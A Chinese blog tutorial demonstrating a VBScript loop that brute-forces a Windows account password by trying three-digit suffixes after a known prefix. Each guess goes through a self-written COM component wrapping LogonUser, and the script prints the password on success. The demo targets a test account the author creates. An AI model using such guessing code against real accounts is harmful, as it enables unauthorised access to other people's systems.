VBS暴力猜解Windows用户密码

大家好,我是小碰碰熊,今天给大家分享一个VBS猜WINDOWS密码的代码,在日常中虽然我们的用户不容易忘记,就算忘记也有其他办法解决,今天这个例子就是通过API多次登录判断密码正确性.在开始之前我们需要创建一个用户

图1

用户名:xiaoduduxiong,密码123456,是一个纯6位数字密码,

在桌面新建一个txt文档,写代码:

vbScript:

Dim vbs

Dim b

Dim Pwss

Dim P1

Set vbs = CreateObject("Notepad.Fun")

P1 = "123"

For Pwss = 100 to 999

b = vbs.CheckUserPassWord("xiaoduduxiong",P1 & Pwss)

if b = true then

vbs.printf("登录成功,密码是:" & P1 & PWSS)

Exit For

else

vbs.printf("登录失败")

end if

Next

图2

'假设己知密码开头是123,还知道密码是6位纯数字,大家可以看到,代码中用了一个for循环生成后3位数字后,与前123相连并进行登录,在把登录的结果打印输出了

图3

当运行代码,可以看立即窗口中输出很多登录失败,最后一个显示登录成功,并显示了密码.

(其中Notepad.Fun是自己写的一个组件,调用了LogonUser函数,相关资料大家可以去阅读MSDN

发表评论
留言与评论(共有 0 条评论)
   
验证码:

相关文章

推荐文章

'); })();